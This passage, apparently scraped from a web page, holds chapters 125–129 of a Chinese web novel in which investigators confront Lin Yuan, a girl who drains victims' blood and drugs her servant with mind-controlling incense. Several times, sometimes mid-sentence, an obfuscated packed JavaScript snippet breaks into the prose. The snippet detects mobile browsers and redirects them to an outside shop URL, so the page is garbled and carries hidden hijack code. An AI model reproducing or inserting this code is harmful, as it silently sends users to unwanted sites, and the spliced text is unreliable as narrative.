搞定最后一个后,他抬头看了眼井壁。瞧见井壁上用鲜血画了一朵巨大的半边莲,花瓣处有几缕血丝流了下来,如同一张带血的符咒一般。 “这些琥珀,呃……树脂,”冷萤终于从恐惧中回过神,问道:“是不是从昌县运过来的那一批?” “有些是,有些不是。”方骅木着一张脸回道。 此时的他虽还是面无表情,但冷萤站在他身边,完全能感受到,自他周身不停往外扩散的巨大怒意。 这血腥残酷的一幕,任谁看了都想骂上一句脏话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547116|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷萤与方骅算是努力憋在了心里,但身边的珊瑚早就忍不住小声骂了句:“到底是哪个杀千刀的?若是让本姑娘抓到,必定剥了他的皮!” 姜小四走了回来,拉了拉冷萤,示意她看向身后的井壁。 冷萤顺势看过去,一朵血色的半边莲强势闯入她眼帘,令她不由得皱了皱眉。 这朵莲花,有些眼熟,她似乎不久前刚见到过。 是在哪里呢? 她努力回想,却始终不得解。 此时此刻站在血池前的四人,终于找到了自昌县运出,又在沉水镇地界上不见的那批东西。 这仿佛在进行某种仪式,用满池血水滋养的东西,便是他们自昌县一路追至沉水镇所要找之物。 突然,不知从哪处吹来一阵风了,伴随着一缕紫纱缥缥缈缈,翻卷着自每个人眼前柔柔滑过。随后慢慢落 到血池中,慢慢被血水浸湿。 “这井洞里哪来的风,怎么还有东西飞进来?”珊瑚看着被完全染成暗色的轻纱,平时总是神采奕奕的双目,也有些沉了下来。 所有人的目光,全都移向轻纱飘出的暗角处。 “嘀嗒。” 一滴血,从倒挂的尸体上落入血池中,打破了一室寂静。 “嘀嗒……”又是一滴。 方骅警觉地走至最前方,防止那黑暗中突然有什么东西窜出,打得他们措手不及。 须臾,那处果然传来了动静。 首先落入几人眼中的,是一位奴仆打扮身材矮小的男人,他双手放至肩膀处,肩上好似扛着什么东西。 所有人的目光,此时全都防备地看向对方。 “你是谁?”珊瑚望着只露出半边身子和半边脑袋的男人,厉声问道。 对方没有回答她,只是将脑袋转至自己身后,仿佛是在朝身后的人询问什么。 随后,他点点头,将脑袋转了回来默默垂下。 珊瑚是个急性子,又张嘴道:“喂,你……” “阿萤姐姐,你还好吗?” 稚嫩的女孩声音,打断了珊瑚的话。 第一百二十五章 林苑 女孩声音刚落,露出半边身子的男人整个人朝上耸了下,随即低头抬脚自暗处走出。 众人这才瞧清,男人肩膀上是一顶肩舆,肩舆上坐着一位身穿紫纱的女孩。 方骅是最快看过去的,在看见肩舆上坐着的人后,表情一下子变得极其难看。 “是……阿苑?”冷萤则是有些迟疑且不确定地对着肩舆上的女孩,小声喊了句。 她并不是看不清上面坐着的女孩模样,只是对方的神情与打扮,与她曾见过的林苑差别甚大。 直到整顶肩舆转向他们,露出女孩的另外半张脸。 在瞧见那抹妃色的胎记后,冷萤才终于确定,那位被轿夫抬着走出,神情冷傲、装扮艳丽的女孩,便是他们所认识的那个林苑。 方骅与姜小四同时转头看向冷萤。 冷萤这次,语气非常肯定:“林苑,果然是你?” 肩舆上的女孩,高高在上地坐在那处垂眼瞧着他们,微勾的唇角施舍般笑了下,随即便落了下来。 她并未开口让轿夫放她下来,两名轿夫便乖乖地低着脑袋,动都不敢动一下。 珊瑚抬头看着女孩,有些懵懵地问了句:“林苑?你怎么知道我们在这里?” 随后,又低下头对冷萤小声说了句:“冷姐姐,你有没有觉得,这个阿苑整个人看起来都不一样了?” 冷萤依旧直视着轿上的林苑,未吭一声。 见她这个态度,女孩冷笑一声,随即开口道:“阿萤姐姐,我们真有缘,没过上几日便又见面了。” 冷萤急速思考,终于将整件事情想明白了些,不禁在心里感叹对方藏得实在太深了,她在林苑现身的前一刻,都未怀疑过来的人会是她。 “有缘吗?”她握紧拳头,强迫自己冷静地开口道:“可这一切,不都是你安排的吗?” 瘦弱的女孩听罢,轻轻笑了声右手在扶手上轻点几下,轿夫立刻明白了她的意思,将整顶肩舆轻手轻脚地放到地上,然后弯着腰退至林苑身后。 林苑也不急着起身,她双手放在扶手上整个人朝后靠着,上下打量了眼冷萤后,才又开口:“当然有缘。我安排好了这一切,可万一阿萤姐姐不上钩,那可怎么办?” 说完,她故意露出第一次见到冷萤时,软弱可怜兮兮的表情。 珊瑚才不管对方变成了什么样,见有人嘴上欺负自己的冷姐姐,她上前一步戳了下方骅的胳膊,道:“喂!” 对方不耐烦地转过身,用眼神告诉她不要惹事。 没理他的警告,珊瑚大笑一声继续道:“我终于看见一个比你更能装的人了,哈哈哈……井洞里居然坐着轿子进来,她就不怕撞到头吗?真是太搞笑了,啊哈哈哈哈哈哈……” 她一边笑,一边伸手拍姜小四的肩膀,直将对方拍得踉跄了好几次。 “闭嘴,你的笑声太难听了。”该谈正事了,方骅一点面子都不给她,斥声道了句。 姜小四则委屈兮兮地移动脚步,移到冷萤身边站着,看她手还能不能伸过来? 冷萤自然知道珊瑚为何突然这样,伸手摸了摸她不屈的脑袋将她拉近了一些,告诉她自己不在意。 珊瑚这才停下放肆地笑,将挑衅的目光投向仍然坐在轿上的林苑。 不知是不是她的反击太幼稚,林苑并未放在心上,甚至连眼神都未过对方,只是慢慢抬起了自己的右手。 身后垂着脑袋的轿夫快步上前,伸出一只手臂让她搭着。 “说她装,她还喘上了……”珊瑚气呼呼地在冷萤耳边嘀咕了一句。 林苑的身高比冷萤几人都要矮,但气场却不输在场的任何人。她昂着头,走到冷萤身前站定,头未侧,手指轻动,轿夫便乖乖退了下去。 “阿萤姐姐为何不说话了?”她的眼里好似除了冷萤,看不见在场的其他人。 冷萤眼神与之对视,柔柔问了一句:“既然是你都安排好的,我有什么可说的呢?” 在林苑的设想中,即便对方脾气再好,被这么结结实实地摆了一道,也不会再心平气和地同她继续说话。 只要对方一动气,她便有理由将对面那几个人全都杀掉,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547117|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂起来放干血,滋养她的血池。 当然,阿萤姐姐她要单独带回去,姐姐那么美心地也好,用她的血调配出来的香液,味道一定很不错。 想着想着,她眼底闪过一丝幽光,含笑对冷萤道:“阿萤姐姐你知道吗?你是我最讨厌的一种人。” 她以为在说出这句话后,这位永远温柔,好似遇见任何事情都不会生气的女子,会第一次在自己的面前皱起眉心。 可她仔细观察了好久,连半分目光都未舍得移开,却发现对方居然弯起眼角微微笑了下。 见对方一直盯着自己,冷萤淡然一笑后,温婉道:“那又如何?” 四个字,彻底激怒了林苑。 她收回再也无法掩饰的阴狠目光,用纤细的嗓音发出一声嗤笑:“不如何,只是觉得你好悲哀。” “你到底在放什么屁呢?”珊瑚听不下去了,这个小矮子到底在说些什么屁话? 说完她就准备动手,这次又被方骅拦住了。 珊瑚气得用手指着方骅道:“你最好给本姑娘闪开,我不想连你也一起揍!” “先打过我再说!”方骅轻飘飘甩了一句话给她。 他并不是不想让珊瑚动手,只是这次案子疑点众多。虽然这个叫林苑的女孩突然出现,必然是与案件有关联。 但对方到底是不是罪魁祸首,还需得将整件事情问明白才行。 冷萤自然同方骅的想法是一样的,她安抚好暴怒的珊瑚,小声地交代姜小四盯紧那两名轿夫,随后与方骅并肩站到一起,两人同时看向满脸傲气却眼神阴冷的林苑。 “你的目的是什么?”她沉声问道。 林苑听了她的问话,冷笑着朝她走了一步,方骅立刻站至冷萤身前,用警告的眼神示意对方不要再靠近。 不知是因为方骅蠢蠢欲动的折扇,还是别的原因,林苑居然真的停下了脚步。 她歪了歪脑袋,仿佛是仔细想了一下,最后才回答道:“怪就怪,你那日为我妆上了半边莲吧。” 说完,她抬手抚上脸侧的胎记。 第一百二十六章 这很重要! “她的脑袋是被井壁撞坏了,还是得了疯病?”珊瑚用看傻子的眼神看着林苑,气鼓鼓地问冷萤。 如果不是方骅杵在她前面像座山似的,她早就按捺不住动手了。 她才不会管对面那人年纪是否比自己小,敢对着冷姐姐说一堆混帐话,就该打! 林苑终于注意到冷萤身边身穿鹅黄色短衫的女子。 见对方怒气冲冲,一副即刻便要上来找麻烦的架势,她瞥了眼问道:“你叫珊瑚吧?” “叫你姑奶奶作甚?” 珊瑚本不想回她的,结果见对方目光轻忽地瞟了自己一眼,语气还带着几分鄙夷,瞬间更气了。 “你也是被她那副假模假样的手段骗来的?”林苑转回眼,一副甚是好奇的模样问道。 “麻烦林姑娘说话注意些。”方骅本想与对方冷静交谈的,可见她越说越过分,最终还是没忍住开了口。 冷萤则是面无表情地开口:“没事,让她继续说下去。” 她方才在听见林苑那句话时,其实也有一刹那的愤怒。 她在胭脂铺做出的举动,并不是想要在对方面前展示自己有多么伟大,也并不是想要左右对方。 她的想法真的很简单,只是不想林苑太过在意脸上的胎记,将所有注意力放在那上面,整个人因而变得自卑。 也不想她为了清除脸上的胎记,而步入别人的陷阱,做出令自己终身后悔之事。 原来…… 直到现在她才知道,那日,终究还是她太过自作主张了。 “呵呵……” 林苑见她一副不屑与自己计较的模样,双目瞧着愈发阴沉。就好似,她方才的那些言语,对这个人来说根本就不算什么! “怎么?让我说下去,好显示你有多么宽宏大量?” 见对方不依不饶,冷萤也只是冷静道:“只是没必要罢了,我自己是什么样的人,不需要你来评价。你可以不接受我的好意,我也可以不接受你对我的片面说辞。” “好意?”林苑仿佛听到了一个天大的笑话,表情夸张地又问了一遍:“你说这是好意?” 见对方这欠揍的样子,珊瑚直接甩开冷萤的手,大喊道:“谁都不要拦我,看我今天不揍……” 她的狠话还没放完,便被身旁的冷萤打断:“不要企图用这种办法,来磨灭掉你自己犯下的事。随你怎么想我,我并不在意。” “你……” 林苑试图开口,被提高音量的冷萤拦截:“我在意的是!那些女孩究竟是不是你杀的?” 说完,她目光犀利地看着对面的人,试图从对方的脸上找出一丝蛛丝马迹。 林苑明显愣了一下。 怎么也没想到,冷萤的好友明明都在身边,这人却好似完全不在意别人对她的评价。 难道……她就不怕身边的人信了自己的说辞,一个个离她而去吗? 不,她林苑才不相信这些人真会互相信任到这种地步! 于是,她又再次开口,只不过这次是面对那个穿黑衣的男人。 “你难道,就不烦她时时都一副圣人的模样吗?”她已经顾不上许多了,张口便直接问道。 她以为,自己的言辞已经够犀利了,只要他们的感情并不是那样固若金汤,怎么也会有一点变化或者在意的吧? 她问出那句话后,就一直盯着那个叫方骅的黑衣男子看。 起先,黑衣男子确实皱了皱眉,只不过是对着她。 然后,她看着黑衣男子慢慢将头转了过去,看向冷萤。 冷萤自若地抬起眼,迎接对方的目光,然后微微摇了摇头。 看着他们的动作,林苑以为自己即将挑拨成功。 看!这人终于知道害怕了,正对着自己伙伴摇头,让对方不要相信这些说辞呢。 看着对面两人的互动,林苑的嘴角渐渐扬起了一抹扭曲的笑。 她好整以暇地瞧着再次将目光转向自己的黑衣男子,等待对方同自己一起批判冷萤的一幕。 如果能够这样,那么她的目的…… ……是不是就可以达到了? “小孩子的把戏可真好笑!”方骅语气冷冰冰地脱口而出。 就像是故意的,他说完这句话后,便看向原本满脸笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547118|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女孩。 瞧着对方因为自己的一句话,笑意瞬间又僵住了,他更想笑了。 “你几岁来着?我想想啊……”方骅偏头假意想了想,才恍然大悟道:“喔……是快及笄了吧?这也不小了啊?难道是书没念够的原因?”然后,他夸张地转头,朝冷萤放肆一笑。 (对!) 见冷萤又对着自己摇了摇头,他才好似想到了什么一样,抱歉道:“对不住啊。阿萤方才让我嘴不要这么毒,我突然给忘记了。你年纪轻轻的,承受能力应该不错吧?” 林苑收起僵在脸上的笑,目光瞬息变得比刚才更加阴冷,凉着嗓音道:“她方才对你摇头,是让你说话不要那么毒?” 怎么可能?那明明是在让对方不相信自己说的话,怎么突然就变成了这样? 他们难道不在意吗?自己出生入死的同伴,耍着圣人手段使得所有人 臣服于她,他们心里难道没有一丝不乐意吗? “不然呢?难道是让我不要变得同你一样可笑?”方骅眼神轻蔑地看着她,想着自己反正都开了口,阿萤最多一会儿不理他,他反正是忍不了这个人了。 他向后看了眼冷萤,见对方并没有阻止他的意思,才又开口道:“一天天正事不做,挑拨离间倒是手到擒来。怎么,你身边没有一个挺你的,所以你嫉妒阿萤?” (她就是嫉妒阿萤!) “你……” 珊瑚一看这架势,知道自己来活了,张口就道:“你你你,你什么你?我们是可以将背后交给对方的伙伴,不是像你这样用幻香控制别人的坏种!” 方骅也毫不退让,接过话:“她这种不知温暖为何物的人,怎么可能坦然接受别人的好意。阿萤那日手都画疼了,真是一腔善意喂了狗。不对,狗还知道吠两声表示感谢……” “你们……”冷萤见这俩越说越偏离正题,又是感动又是好笑地截断他们的话,“先问正事,这事不重要。” (重要!) “这很重要!”方骅与珊瑚异口同声,还伴随着一旁轻轻落下的螺钿粉。 默默按下姜小四又想抬起的手,冷萤只能静默了。 第一百二十七章 听话的狗 “呵,你们可真团结!” 冷嘲热讽的话,终于见缝插针地从林苑口中说出。 他们现在感情好又怎么样?那是没有发生大事! 但凡一遇见涉及到自身利益的事情,她就不相信他们的关系还会这般好。 冷萤看着她,心里明白对方现在想些什么,并不欲与她过多讨论这些没意义的事情。 这个女孩为何突然对她有这般大的敌意,而那敌意又是自何处来,她根本懒得去了解。 冷萤瞧得出,林苑到此时还以为他们感情好只是在做戏。 但……和她有什么关系? 谁介意此事,谁便暗自消化吧。 她只开口问道:“胭脂铺的掌柜,是你吗?” 对方似乎是被她的态度气到了,脸上的胎记颜色渐渐变深。虽还是一脸无所谓的样子,但身侧紧紧握住的手,彰显出她的愤怒。 “阿萤姐姐是记忆错乱了吗?”林苑似乎气到了极致,说出的话更具有攻击性了,“我之前不是同你形容过店主的样子?你觉得哪一点像我了?” “不像吗?”珊瑚冷笑一声插进来:“你是说……装模作样不像你呢?还是喜欢说大话不像你?” “我怎么觉着……都挺像你的性格的呢?”她一边说一边与姜小四对视一眼,两人都露出心知肚明的笑容。 林苑阴恻恻地开口道:“你们在笑什么?” 她这句话一出,珊瑚笑得更大声了:“这不是你自己说出的话吗?方才,我有哪一句话说错了?笑笑还不行了吗?” “我再说一遍!”林苑紧握的拳头气到颤抖,面上却未表露半分,只是嗓音是噙着透骨的凉意,一字一句道:“不是我!” 见终于成功气到了对方,此时的珊瑚比谁都开心。 她心情好,自然懒得与对方计较,便敷衍地点点头道:“行行行,不是你!你除了性格与对方挺像,瞧着也确实不像个男的。” 见对面女孩脸慢慢涨红,一瞧便是被珊瑚气的,冷萤忙伸手制止。 他们还不知道对方的底细,不可盲目地激怒对方。就怕对方破罐子破摔,到最后什么事情与未问出,失了这次绝佳的问询机会。 方骅似乎懂了她的意思,率先开口道:“即便你不是胭脂铺的掌柜,也与那些女孩的死,还有在拣香坊豢养死士之事脱不了干系。” 见他们问到这里,林苑好似恢复了一些理智。 她的脸色慢慢又变回原样,脸侧那处变为暗红的胎记,也渐渐恢复到妃红。 她冷然地看着朝她问询的方骅,嘴角微微勾起一抹讽刺的笑,开口问道:“你是谁?我凭什么要回答你,你又有什么资格来质问我?” “我是没有资格。”方骅轻皱下眉,似乎在考虑要如何将话说出口。 见对方的目光警觉地看向自己,他才又慢吞吞道:“那个叫卢辉的少年,你们是青梅竹马吧?或者……他也是你养的死士?” 好似没想到他会突然提起不在场的人,林苑猛然一愣,随即又快速恢复表情道:“哼,谁和他青梅竹马?要不是看他与他爹娘有点用处,这人怎么配与我站在一起?” “原来如此……”方骅似是懂了一般轻点头,随后又道:“所以说,他连死士都不如?毕竟,他之前那般保护你,却连与你站在一起的资格都没有。” 他的一句话,将林苑堵得半天没说出话来。 “怎么?难道……你们是朋友?” “怎么可能?”女孩快速答道。 “噢……”他状似明白道:“那就是你的下人了。” 这次林苑没有回答,但似乎并不想谈论这个问题,只是用阴暗的眼神看向他,沉着嗓音问道:“你到底想表达什么?” 方骅爽朗一笑,就像真的在同她谈天一般,慢慢开口道:“我只是将事情问明白,毕竟你的‘’下人‘’正躲在井洞的暗处瞧着我们。如果你们只是主仆关系……” “你想怎么样?”林苑以为自己眼花了。 她好似,从一开始就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547119|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情的男子眼中,瞧出了一丝杀意。 被对方打断了自己的话,方骅很不满意地将目光对准林苑,嗓音一瞬间冷了下来,说出口的话却不是对她。 “你听到了吗?她根本就没把你当好友。你啊……只不过是她的一条狗罢了!”说完,他慢慢地将目光转到井洞的一角,看着地上的半边影子。 不过,对方也算是沉得住气。他话音刚落,便见那半边影子稍稍动了下,便再也没了反应。 “哼……” 林苑终于懂了方骅的用意,她轻哼一声,仿佛嘲笑他道:“在我这处问不出什么,便想离间我们?对啊,我是让他先守在这里了,可那又怎么样呢?他啊……只听我的话呢!” “是吗?”方骅一点不信她说的:“你都没把他当好友看,他为什么只听你的话?万一,他只是想要救回自己的娘亲,无奈之下,才只能对你百般忍耐?” 林苑听后也不生气,仿佛在与他们炫耀般又开口道:“你说这些,不就是想让他背叛我,然后再逼我交代一切吗?你以为我培养他是为了什么?你们放心,他即听话又能打, 一会儿绝不会让你们失望的!” 说着,她也觉得没必要再掩饰,目光朝那处暗影瞧去,随后冷声道:“出来吧!” 话音刚落,卢辉木着一张脸走了出来,站在了林苑身前。 此时的林苑更得意了,她笑着看向冷萤,微微扬着下巴道:“阿萤姐姐,你以为只有你身边有这样听话的人吗?我身边这个……可不输他们呢。” 冷萤原来懒得理她的,但对方明显是冲着自己来的,她如果再这样退缩下去,也没什么意思了。 于是,她觉得有些烦的轻皱眉头,缓缓开口道:“你到底想表达什么?我身边的都是真心结交的好友,他们都是独立的个体。如果你也认为卢辉是你的好友,以后便好好待他。” 见女孩脸上的笑慢慢收了起来。 她淡笑一声道:“毕竟,我们那里对待好友,不是像你这样的。” 第一百二十八章 做戏 她的这番话,并未对林苑有任何影响。 倒是卢辉,看似无神的双目稍稍颤动了下,面无表情地将双眼慢慢移向冷萤。 冷萤不禁想起了胭脂铺的林苑与卢辉。 当时的他们,一个敏感又纯真,小心翼翼生怕受到伤害。而另一个则是冷淡沉默,却又不忘保护身边的女孩。 难道那些下意识的举动,全是他们装出来的? 她抬眼与少年对视,想从他变得淡漠的眼中找出些什么。 可当她看过去时,那双曾经盛满对林苑别扭又关心的眸子里,早已没了那样的情绪。 取而代之的,只有盲目的服从与充斥着狠厉的杀意。 这样充满攻击力的一双眼,让冷萤不由自主地收回了目光,好似想通了什么。 “你对他做了什么?”她随即开口问林苑。 林苑见冷萤也不算傻,不过与卢辉对视片刻,便能察觉出对方的问题,扑哧一笑道:“你们都查到这里来了,不会还不知道吧?” 深感她话中有话,冷萤细细琢磨着,随之表情从深思慢慢变为惊讶,不可置信地问道:“你居然也对他用了幻香?” 对方轻皱起眉,反驳道:“什么幻香?那可是我费尽心力调出来的‘回生之香’,阿萤姐姐着实有些不辨菽麦了。”然后,抬起嘲弄的眼神看向冷萤。 冷萤现下哪还有精力管对方的眼神,她转头与方骅交换了下眼神,随即朝卢辉喊了句:“卢小公子,你能听见我们说话吗?” 卢辉自方才对视后,便一直死气沉沉地盯着冷萤瞧。可当冷萤好不容易同他说话了,他却一点反应也没有。 今日的他,就像是一具提线木偶一般,后面的人让他动他才会动。其余一切无关的声音,压根都传不进他的耳朵里,外人更没有办法与他正常沟通。 问话无果的冷萤,对上林苑毫不在意的笑,内心的愤怒再也无法压抑。 她冷冷道:“无论如何,就算不看在你们一起长大的份上,单凭他一直在身边保护你这件事。你下手时……难道心里无愧吗?” 见她控制不住地指责,林苑稚嫩的面容微微一愣,随后像是想到了什么,嘴角微微抽搐了几下,似笑非笑道:“一起长大?呵……” 正准备说什么的她,好似觉得身前的卢辉挡在那里有些碍事,大声说了句:“让开!” 话音刚落,卢辉立刻走到一旁,继续盯着冷萤不动。 见身前的人让开,林苑才朝前走了几步,扯出一抹扭曲的甜笑对冷萤道:“又开始你虚伪的做戏了。不怕告诉你,那日你在胭脂铺对我说的那些话,我回去后可是控制不住笑了你许久。让我去念书,呵呵……” “你这人到底知不知道好歹?”珊瑚气到全身颤抖,又不能马上动手,可给她憋屈死了。 “知好歹?” 女孩反问一句后,又将矛头对准冷萤,冷声道:“但凡那日站在胭脂铺的不是我,是另外一个年龄与我相仿的女孩,她或许真的会感激你。但我,绝对不会!” “我说那些话时,并不是想要你的感激。你可以不承这份情,但没必要曲解别人的好意。”冷萤平静道。 “哈哈哈哈哈哈……”她话刚说完,林苑那边突然一阵狂笑,随之又倏然收起,说道:“你这个人说话还真是……令人烦躁。” 其他人还未来得及开口,她便又继续道:“你在说出这些话时,到底有没有打听过,沉水镇每年究竟有多少女孩去不了学堂?” 她的话一说出,冷萤顿时愣在了原地。 看着眼前之人满是讽刺意味的眼神,她缓缓在心里给出了答案。 她当时,的确没有想过…… 自己虽然年少时突逢家变,但祖母是匠人世家,手艺自然非凡,以至于从未在吃穿用度上亏待过她。 她这近二十年的人生里,除了父母的死因未查清这一件事,其余都是在做自己喜爱的事情。 学业方面,祖母也是找了最好的夫子上门全方位教导,所以也不可能为了学业发愁。 这样一帆风顺的生活过久了,竟让她忽略了,在这世间还有很多同她差不多年纪,或者比她年纪还小些的女孩。 她们平日里别说上学堂了,或许连正常的吃饱穿暖都不易实现。 也许林苑正是其中一个,自己却在她面前用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547120|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理所当然又高高在上的语气,让她回家念书。 原来…… 她终于明白为何今日一见面,林苑便对她有这般大的敌意了。 只是…… 也许她是很苦,但是自己确实也是好心,有些话还是得说清楚。 “对不起,我不知道你的情况。”她开口先道歉。 珊瑚瞪大双目,激动道:“冷姐姐,你为何要对她道歉?你又不欠她……” 她的话还未说完,就听见冷萤继续开口对林苑道:“我为我的鲁莽道歉。” “冷姐姐!” “阿萤你不必如此……”方骅也劝道。 林苑见他们这样,嘴角微微勾起,似乎很享受对面几人因为自己的一句话,而乱了方寸。 “但是!”冷萤谁也没理,又开了口:“我不觉 得我的规劝有何错!你可以同我说你的难处,我自会帮你。你的人生需要靠自己争取,而不是躲在阴暗的角落里嘲笑一个想要帮助你的人。” “还有……不知你们当时有没有做戏,但我确实记得卢辉曾讲过,你家里人是让你去学堂的。”冷萤慢慢与她对视,面无表情问:“难道,我听错了?” 本来见冷萤二话不说开口道歉,林苑的表情已经有些洋洋得意了。 可哪知对方话锋突然一转,还说得那般振振有词,丝毫没有因为她的责怪就开始怀疑自己,她的脸色又瞬间沉了下去。 这个人可真是……油盐不进! “你果然是个冷性冷情的人。”她阴沉地说道。 冷萤淡笑一声,说道:“谁规定,我要同一个对我有敌意的人,释放善意?” 见女孩表情一愣,她继续道:“我从前对你规劝几句,甚至想要帮你,不过是觉得你可爱纯真,不想让你走弯路罢了。可你真的如何,对我又有什么影响?” “你!”林苑被她气得一句话都说不出。 冷萤不再看她,对着虚空说出最后的话:“我本不想讨论一些无聊话题来浪费光阴。只是……你既然对我说的话那样在意,那我便收回吧。你爱怎样怎样,但只要作了恶,我们必定不会放过你!” 第一百二十九章 发狂 冷萤说完这句话,在场所有人的表情全都发生了变化。 先是林苑,她看向冷萤的眼神已经不能称之为阴狠了,如果说她之前更多的是蓄意的挑拨,现在则是盛满了潮湿的恶意。 而珊瑚…… 冷萤感觉自己的衣袖都要被她扯下来了,身旁的姑娘闷笑到全身不停在颤抖,虽然不知自己哪句话戳中了她的笑穴。但……她开心就好! 方骅则是像个老父亲一般,还偷偷舒了口气。 冷萤心里暗想:他不会以为自己说不过人家,准备想要帮忙吧? 姜小四则更是夸张,居然拿出随身带的香册,翻到最后一页记下了冷萤的话。 冷萤很是无奈地看着他,轻声道:“倒也不必如此,都是气话,没什么可记录的。” (我觉得阿萤这样很好!) 放下手,他又低头奋笔疾书。 这边的氛围其乐融融,对面却仿佛坠入冰窖一样的寒冷。 卢辉的目光终于从冷萤的身上移开,缓慢又吃力地转向林苑,却得到对方的一句怒斥:“看什么看?把头转过去!” 他只好听话地将头转向血池,再也没了动作。 见嘴上说不过冷萤,林苑双目渐渐染上赤红,就像一个刚服了五石散的人一样,兴奋得有些不正常。 乍一眼瞧过去,她这个模样,竟有些像被关在拣香坊的那些死士们。 “阿萤说得对,你心里别扭是你自己的事。”方骅面沉如水地开口:“但若是杀了人,今日我便不会放过你。如果还想好好走出这里,便老实交代自己所犯下的事。” 此时的林苑好似变了一个模样,她的瞳孔不停地颤动着,整个人好似极度兴奋,竟放肆地朝几人笑道:“你们想知道我怎么杀了那些女孩?还有怎么慢慢放了她们的血吗?呵呵……” 说完,她的表情扭曲地颤动几下,随即又颤抖着嘴唇道:“不告诉你们,你们自己猜啊!” “也行。”方骅倒是一点不生气,居然顺着她的话答应下来。 珊瑚气鼓鼓道:“我们自己猜?那得猜到什么时候?” “既然不愿老实交代,那就把剂量加大一些吧。”他双目直视前方,不知对谁说道。 冷萤一下也有点没闹明白,转头一脸疑惑地看向方骅。正准备开口询问时,她身边的姜小四有动作了。 只见他拿出一个瓷瓶,不知丢了个什么进去,瓷瓶的瓶口不一会儿便飘出缕缕青烟。 珊瑚第一反应便是抬手捂住自己的口鼻,瓮声瓮气道:“姜小四你在干什么?下毒的时候能不能说一声?” “又不是毒,要同你说什么?”方骅暼了她一眼,反问道。 珊瑚听罢,这才讪讪地将手放了下来,意识到自己方才反应有些过度了。即便方骅真想毒死她,冷姐姐也不会同意的,她在这里慌什么? “那……他那里面飘出的是什么啊?”她还是有点不放心这两个男人,小声问了句。 方骅还没来得及解释,对面一道紫影袭了过来,他立刻上前接下了女孩的一掌。 他是真没想到,对方内力居然这样深厚。他虽是成功接下了这一掌,脚步却不由自主地往后退了好几步。 这样的情形,在往日是很少会出现的。 难道……是药性发作的原因? “都到我身后来!”怕对方发狂,方骅大声喊了句。 冷萤与姜小四立刻自觉地站到他的身后,珊瑚则是以最快的速度探向腰间,双脚也不停歇地朝林苑那处跑去。 方骅知道林苑此时的武力不正常,且章法乱,攻击力极强,一般的人拿不下她。刚要上前帮忙,忽然瞧见一直站在原地的卢辉动了。 “还不来帮忙,死站在那里干什么?”原来是林苑喊了一声,卢辉就像立马接收到指令,抬起手跃至半空,就准备朝珊瑚身后大力拍下去。 好在方骅用余光瞧见,半路接下了他那一掌,随即与他扭打到一起。 冷萤与姜小四乖乖地站远了些,秉持着帮不上忙也绝不拖后腿的原则。 不过,他们打架虽然帮不上忙,却可以提前避免一切风险。 比如说……再给那几个躺在地上的守卫……洒洒粉。 待两人忙得差不多后,看见前面混打的两对依旧没有分出胜负。冷萤有些担心地瞧着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 